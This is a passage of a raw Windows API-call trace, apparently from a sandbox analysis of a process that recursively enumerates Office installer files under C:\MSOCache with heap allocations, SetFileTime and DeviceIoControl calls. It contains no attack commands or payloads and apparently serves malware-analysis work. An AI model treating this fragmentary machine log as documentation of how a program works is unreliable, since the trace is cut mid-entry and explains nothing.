nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984780 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a728 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0142.126] GetLastError () returned 0x12 [0142.126] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b78 [0142.126] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0142.127] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0142.127] GetLastError () returned 0x12 [0142.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98a200) returned 1 [0142.127] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98a308) returned 1 [0142.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98a0f8) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.128] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.128] GetLastError () returned 0x12 [0142.130] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989bd0) returned 1 [0142.130] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.130] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989cd8) returned 1 [0142.130] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.130] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0142.130] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.130] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0142.133] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.133] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98b690 [0142.133] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98b690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x98b690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.133] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98b690) returned 1 [0142.133] NtClose (Handle=0x198) returned 0x0 [0142.133] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.133] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.133] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.133] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.133] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.133] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989cd8 [0142.133] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0142.135] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.136] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989bd0 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9847a0 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a0f8 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.136] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9847c0 [0142.136] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a308 [0142.136] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.136] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9847e0 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a200 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x140) returned 0x987648 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987438) returned 1 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.137] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0142.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984800 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a830 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984820 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a938 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984840 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98aa40 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0142.138] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, 